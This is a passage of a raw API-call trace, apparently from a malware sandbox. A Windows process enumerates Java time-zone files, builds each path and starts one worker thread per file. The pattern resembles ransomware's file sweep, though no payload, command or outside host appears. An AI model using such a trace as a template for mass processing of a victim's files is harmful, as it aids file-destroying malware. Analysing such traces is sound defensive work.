[0158.387] wcscat (in: _Dest=0x1ceb7030, _Source="Cambridge_Bay" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cambridge_Bay") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cambridge_Bay" [0158.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb7030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc9c [0158.388] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Campo_Grande", cAlternateFileName="CAMPO_~1")) returned 1 [0158.388] wcscmp (_String1="Campo_Grande", _String2=".") returned 1 [0158.388] wcscmp (_String1="Campo_Grande", _String2="..") returned 1 [0158.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb70c0 [0158.388] wcscpy (in: _Dest=0x1ceb70c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.388] wcscat (in: _Dest=0x1ceb70c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.388] wcscat (in: _Dest=0x1ceb70c0, _Source="Campo_Grande" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Campo_Grande") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Campo_Grande" [0158.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb70c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca0 [0158.389] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cancun", cAlternateFileName="")) returned 1 [0158.389] wcscmp (_String1="Cancun", _String2=".") returned 1 [0158.389] wcscmp (_String1="Cancun", _String2="..") returned 1 [0158.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x426ef180 [0158.389] wcscpy (in: _Dest=0x426ef180, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.389] wcscat (in: _Dest=0x426ef180, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.389] wcscat (in: _Dest=0x426ef180, _Source="Cancun" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cancun") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cancun" [0158.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca8 [0158.390] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Caracas", cAlternateFileName="")) returned 1 [0158.390] wcscmp (_String1="Caracas", _String2=".") returned 1 [0158.390] wcscmp (_String1="Caracas", _String2="..") returned 1 [0158.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x426ef200 [0158.391] wcscpy (in: _Dest=0x426ef200, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.391] wcscat (in: _Dest=0x426ef200, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.391] wcscat (in: _Dest=0x426ef200, _Source="Caracas" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Caracas") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Caracas" [0158.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb0 [0158.392] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cayenne", cAlternateFileName="")) returned 1 [0158.392] wcscmp (_String1="Cayenne", _String2=".") returned 1 [0158.392] wcscmp (_String1="Cayenne", _String2="..") returned 1 [0158.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x426ef280 [0158.392] wcscpy (in: _Dest=0x426ef280, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.392] wcscat (in: _Dest=0x426ef280, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.392] wcscat (in: _Dest=0x426ef280, _Source="Cayenne" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cayenne") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cayenne" [0158.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb4 [0158.393] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cayman", cAlternateFileName="")) returned 1 [0158.393] wcscmp (_String1="Cayman", _String2=".") returned 1 [0158.393] wcscmp (_String1="Cayman", _String2="..") returned 1 [0158.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x426ef300 [0158.394] wcscpy (in: _Dest=0x426ef300, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.394] wcscat (in: _Dest=0x426ef300, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.394] wcscat (in: _Dest=0x426ef300, _Source="Cayman" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cayman") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cayman" [0158.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb8 [0158.395] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chicago", cAlternateFileName="")) returned 1 [0158.395] wcscmp (_String1="Chicago", _String2=".") returned 1 [0158.395] wcscmp (_String1="Chicago", _String2="..") returned 1 [0158.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x426ef380 [0158.395] wcscpy (in: _Dest=0x426ef380, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.395] wcscat (in: _Dest=0x426ef380, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.395] wcscat (in: _Dest=0x426ef380, _Source="Chicago" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Chicago") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Chicago" [0158.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcbc [0158.396] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chihuahua", cAlternateFileName="CHIHUA~1")) returned 1 [0158.396] wcscmp (_String1="Chihuahua", _String2=".") returned 1 [0158.396] wcscmp (_String1="Chihuahua", _String2="..") returned 1 [0158.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x426ef400 [0158.396] wcscpy (in: _Dest=0x426ef400, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.396] wcscat (in: _Dest=0x426ef400, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.396] wcscat (in: _Dest=0x426ef400, _Source="Chihuahua" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Chihuahua") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Chihuahua" [0158.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc0 [0158.397] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="Costa_Rica", cAlternateFileName="COSTA_~1")) returned 1 [0158.397] wcscmp (_String1="Costa_Rica", _String2=".") returned 1 [0158.397] wcscmp (_String1="Costa_Rica", _String2="..") returned 1 [0158.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x426ef480 [0158.397] wcscpy (in: _Dest=0x426ef480, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.397] wcscat (in: _Dest=0x426ef480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.397] wcscat (in: _Dest=0x426ef480, _Source="Costa_Rica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Costa_Rica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Costa_Rica" [0158.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc4 [0158.398] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x49, dwReserved0=0x0, dwReserved1=0x0, cFileName="Creston", cAlternateFileName="")) returned 1 [0158.398] wcscmp (_String1="Creston", _String2=".") returned 1 [0158.398] wcscmp (_String1="Creston", _String2="..") returned 1 [0158.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x426ef500 [0158.398] wcscpy (in: _Dest=0x426ef500, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.399] wcscat (in: _Dest=0x426ef500, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.399] wcscat (in: _Dest=0x426ef500, _Source="Creston" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Creston") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Creston" [0158.399] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc8 [0158.400] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cuiaba", cAlternateFileName="")) returned 1 [0158.400] wcscmp (_String1="Cuiaba", _String2=".") returned 1 [0158.400] wcscmp (_String1="Cuiaba", _String2="..") returned 1 [0158.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x426ef580 [0158.400] wcscpy (in: _Dest=0x426ef580, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.400] wcscat (in: _Dest=0x426ef580, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.400] wcscat (in: _Dest=0x426ef580, _Source="Cuiaba" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cuiaba") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cuiaba" [0158.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xccc [0158.401] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Curacao", cAlternateFileName="")) returned 1 [0158.401] wcscmp (_String1="Curacao", _String2=".") returned 1 [0158.401] wcscmp (_String1="Curacao", _String2="..") returned 1 [0158.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x426ef600 [0158.401] wcscpy (in: _Dest=0x426ef600, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.401] wcscat (in: _Dest=0x426ef600, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.401] wcscat (in: _Dest=0x426ef600, _Source="Curacao" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Curacao") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Curacao" [0158.401] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb8 [0158.402] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="Danmarkshavn", cAlternateFileName="DANMAR~1")) returned 1 [0158.402] wcscmp (_String1="Danmarkshavn", _String2=".") returned 1 [0158.403] wcscmp (_String1="Danmarkshavn", _String2="..") returned 1 [0158.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb7150 [0158.403] wcscpy (in: _Dest=0x1ceb7150, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.403] wcscat (in: _Dest=0x1ceb7150, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.403] wcscat (in: _Dest=0x1ceb7150, _Source="Danmarkshavn" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Danmarkshavn") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Danmarkshavn" [0158.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb7150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd0 [0158.404] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dawson", cAlternateFileName="")) returned 1 [0158.404] wcscmp (_String1="Dawson", _String2=".") returned 1 [0158.404] wcscmp (_String1="Dawson", _String2="..") returned 1 [0158.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x426ef680 [0158.404] wcscpy (in: _Dest=0x426ef680, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.404] wcscat (in: _Dest=0x426ef680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.404] wcscat (in: _Dest=0x426ef680, _Source="Dawson" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Dawson") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Dawson" [0158.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd4 [0158.405] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dawson_Creek", cAlternateFileName="DAWSON~1")) returned 1 [0158.405] wcscmp (_String1="Dawson_Creek", _String2=".") returned 1 [0158.405] wcscmp (_String1="Dawson_Creek", _String2="..") returned 1 [0158.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb71e0 [0158.405] wcscpy (in: _Dest=0x1ceb71e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.405] wcscat (in: _Dest=0x1ceb71e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.405] wcscat (in: _Dest=0x1ceb71e0, _Source="Dawson_Creek" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Dawson_Creek") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Dawson_Creek" [0158.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb71e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcdc [0158.406] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x538, dwReserved0=0x0, dwReserved1=0x0, cFileName="Denver", cAlternateFileName="")) returned 1 [0158.406] wcscmp (_String1="Denver", _String2=".") returned 1 [0158.406] wcscmp (_String1="Denver", _String2="..") returned 1 [0158.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x426ef700 [0158.406] wcscpy (in: _Dest=0x426ef700, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.407] wcscat (in: _Dest=0x426ef700, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.407] wcscat (in: _Dest=0x426ef700, _Source="Denver" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Denver") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Denver" [0158.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce8 [0158.407] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Detroit", cAlternateFileName="")) returned 1 [0158.407] wcscmp (_String1="Detroit", _String2=".") returned 1 [0158.407] wcscmp (_String1="Detroit", _String2="..") returned 1 [0158.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x426ef780 [0158.408] wcscpy (in: _Dest=0x426ef780, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.408] wcscat (in: _Dest=0x426ef780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.408] 